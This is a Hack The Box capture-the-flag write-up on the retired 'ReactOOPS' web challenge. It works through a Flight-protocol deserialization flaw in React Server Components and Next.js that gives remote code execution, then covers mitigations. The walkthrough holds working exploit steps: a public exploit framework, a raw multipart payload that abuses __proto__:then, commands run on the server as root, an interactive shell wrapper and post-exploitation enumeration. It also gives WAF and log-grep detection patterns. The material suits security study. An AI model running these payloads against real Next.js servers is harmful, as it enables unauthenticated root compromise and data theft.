Author: TheStingR - Team ISP1337Hackers
Challenge: ReactOOPS (Web)
Platform: Hack The Box
Difficulty: Very Easy - RETIRED
Date Solved: December 13, 2025
- Executive Summary
- Challenge Description
- Vulnerability Analysis
- Reconnaissance & Enumeration
- Exploitation Walkthrough
- Flag Extraction
- Technical Deep Dive
- Defense & Mitigation
- Lessons Learned
ReactOOPS is a web challenge that exploits CVE-2025-55182 / CVE-2025-66478, a critical unauthenticated Remote Code Execution vulnerability in React Server Components and Next.js App Router.
Key Findings:
- ✅ Server: Next.js 16.0.6 with React 19 (vulnerable)
- ✅ Vulnerability: Missing
hasOwnPropertycheck in Flight protocol deserialization - ✅ Impact: Unauthenticated RCE with root privileges
- ✅ Exploitation: Single HTTP POST request required
The challenge presents a polished Next.js application running NexusAI's assistant interface. The application appears to handle user input through React Server Components, but subtle glitches in the reactive layer hint at underlying vulnerabilities.
- Framework: Next.js 16.0.6
- React Version: 19.x
- Deployment: Docker container (Next.js standalone build)
- Server Port: 50183
The application uses:
- React Server Components (RSC) - Server-side rendering with client communication
- Flight Protocol - Serialization format for RSC data transmission
- Vulnerable Dependencies - react-server-dom-webpack without security patches
The Flight protocol is React's proprietary serialization format for transmitting data between server and client in Server Component architectures. It uses references like:
$1- Reference to object at position 1$1:path:to:value- Property path traversal
Vulnerable Code in React's ReactFlightReplyServer.js:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}The Safe Version (What It Should Be):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}Without the hasOwnProperty check, an attacker can traverse:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
The vulnerability exists before the Next-Action validation:
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
By triggering RCE during deserialization, attackers bypass all action-level security checks.
# Test if service is responding
curl -v http://<IP>:PORT/Expected: Next.js application serving HTML with RSC enabled
Look for indicators:
- Response headers containing
next-prefixes - HTML containing
<script type="text/x-component"> - Presence of
.nextdirectory artifacts - POST endpoints without obvious authentication
The most reliable indicator is attempting a prototype pollution attack and observing the response:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.shGoal: Confirm the server is vulnerable without causing damage
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORTWhat It Does:
- Creates a multipart POST request with
Next-Action: xheader - Sends payload:
["$1:a:a"]referencing empty object{} - On vulnerable server: JavaScript tries to access
{}.a.a - Missing hasOwnProperty check causes crash
- Server returns HTTP 500 with error digest
Expected Output:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
Interpretation:
- HTTP 500: ✅ Crash detected
E{"digest"in response: ✅ React error handling format- Conclusion: Server is VULNERABLE
Goal: Verify arbitrary command execution
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"What It Does:
- Constructs a multipart payload with command payload
- Embeds command in the prototype pollution reference
- Sends POST request with
Next-Action: x - Server deserializes and executes command during processing
- Returns command output via HTTP 303 redirect
Expected Output:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Key Insight: The output shows uid=0(root) - the web server is running as root! This is a security misconfiguration that amplifies the impact.
Goal: Map the filesystem and locate sensitive files
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"Directory Structure Discovered:
/app/
├── .next/ # Next.js build output
├── node_modules/ # Dependencies
├── app/ # Application source code
├── public/ # Static assets
├── flag.txt # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json
Critical Finding: Flag file exists at /app/flag.txt with restrictive permissions (600)
Goal: Read the flag file
# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"Output:
HTB{jus7_REDACTED_2025-55182}
✅ Challenge Completed!
The exploit constructs a Flight protocol payload. Here's what a command payload looks like:
POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
1. Parse multipart form data
→ name="1" → JSON object with "then" property
→ name="0" → String "$@1"
2. Process references
→ "$@1" means "reference to chunk 1"
→ Look up chunk[1].value
3. Resolve reference path
→ Reference: "$1:__proto__:then"
→ Split on colons: ["", "__proto__", "then"]
→ Start with chunk[1]
→ Access [__proto__] → traverse to prototype
→ Access [then] → access then method
4. Construct fake Promise
→ Create object with .then() method
→ Method contains command payload
5. Execute Promise .then()
→ React treats as Promise-like
→ Calls the .then() handler
→ CODE EXECUTES AS ROOT
| Script | Mechanism | HTTP Code | Detection |
|---|---|---|---|
| exploit-redirect.sh | Prototype traversal + Promise chain | 303 | x-action-redirect |
| exploit-throw.sh | Error in try-catch | 500 | Error in body |
| exploit-blind.sh | Side-channel (file write, DNS) | 200 | Out-of-band |
| exploit-reflect.sh | Direct reflection in response | 200 | Command output in body |
| shell.sh | Interactive wrapper | Varies | REPL interface |
We used exploit-redirect.sh because:
- ✅ Works without valid action ID
- ✅ Reliable 303 response
- ✅ Good output visibility
- ✅ No error page interference
Immediate Actions (Before Patching):
-
Disable RSC if not needed
// next.config.js module.exports = { experimental: { rsc: false // Disable React Server Components } }
-
Restrict Next-Action usage
// middleware.ts export function middleware(request) { // Reject all POST requests with Next-Action if (request.method === 'POST' && request.headers.has('next-action')) { return new Response('Forbidden', { status: 403 }); } }
-
Network Segmentation
# Only allow trusted sources iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT iptables -A INPUT -p tcp --dport 50183 -j DROP
Patch Immediately:
# Update Next.js
npm install next@latest
# Or specific patched version
npm install next@16.0.7
# Verify versions
npm ls next react-server-dom-webpackSecurity Hardening:
-
Run web servers as non-root
# DON'T do this: RUN npm start # As root # DO this: RUN useradd -u 1000 nextjs USER nextjs CMD ["npm", "start"]
-
Input Validation
// Validate all Flight protocol inputs app.post('/api/*', (req, res) => { // Check for suspicious patterns const body = JSON.stringify(req.body); if (body.includes('__proto__') || body.includes('constructor') || body.includes('prototype')) { return res.status(400).send('Invalid input'); } });
-
Rate Limiting
// Limit POST requests per IP app.post('/api/*', rateLimit({ windowMs: 60 * 1000, max: 10 }));
WAF Rules:
# Detect prototype pollution attempts
If Request.Method == "POST" AND
Request.Body Contains "__proto__" OR
Request.Body Contains ":then" OR
Request.Body Contains ":constructor"
Then Alert + Block
Log Monitoring:
# Look for suspicious patterns
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.logBehavioral Detection:
// Monitor for unusual command execution
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SECURITY] Command execution attempted:', args[0]);
// Implement policy enforcement
return original_spawn.apply(this, args);
};-
Single Missing Check = Critical Vulnerability
- The
hasOwnPropertyguard was imported but not used - One line of missing validation cascaded into RCE
- Lesson: Code reviews must verify all guards are actually used
- The
-
Prototype Chain is Dangerous
- JavaScript's prototype chain can be exploited for unintended property access
- Object property access looks innocent:
obj[key] - Lesson: Always use
hasOwnPropertyorObject.create(null)for untrusted input
-
Deserialization Before Validation is Risky
- Code executed during deserialization, before authentication checks
- Normal flow: authenticate → validate → process
- Vulnerable flow: parse → execute code → validate (too late!)
- Lesson: Never execute code during deserialization of untrusted data
-
Default Process Privileges Matter
- Web server running as root amplified impact
- Compromised server = full system control
- Lesson: Always run services with minimal required privileges
-
Non-Destructive Detection is Valuable
detect.shproves vulnerability without causing damage- Allows assessor to validate vulnerability before exploitation
- Best Practice: Always include detection phase
-
Systematic Reconnaissance
- Started with detection
- Moved to RCE proof
- Then information gathering
- Finally flag extraction
- Best Practice: Don't jump to exploitation; gather intel first
-
Understanding the Technology
- Knowledge of Flight protocol helped exploitation
- Understanding Next.js architecture was key
- Knowing JavaScript prototype chain was crucial
- Best Practice: Study the tech stack before exploitation
| Time | Action | Result |
|---|---|---|
| T+0s | Initial connection test | Service responding |
| T+10s | Run detect.sh | VULNERABLE confirmed |
| T+30s | Execute id command |
root privileges confirmed |
| T+1m | List /app directory | Flag location found |
| T+1m 30s | Read flag file | Flag extracted |
| T+2m | Verification | Challenge completed |
- CVE-2023-46805: React prototype pollution (similar but different)
- CVE-2024-4761: Server Component XSS
# One-liner exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"# Launch full interactive shell
./shell.sh http://<IP>:PORT
# Common commands:
id # Show user info
pwd # Current directory
ls -la # List files
cat /app/flag.txt # Read flag
cd /var/log # Change directory
download flag.txt # Download file# System information
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# Environment variables
./exploit-redirect.sh -q http://<IP>:PORT "env"
# Running processes
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# Network connections
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# Application source
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"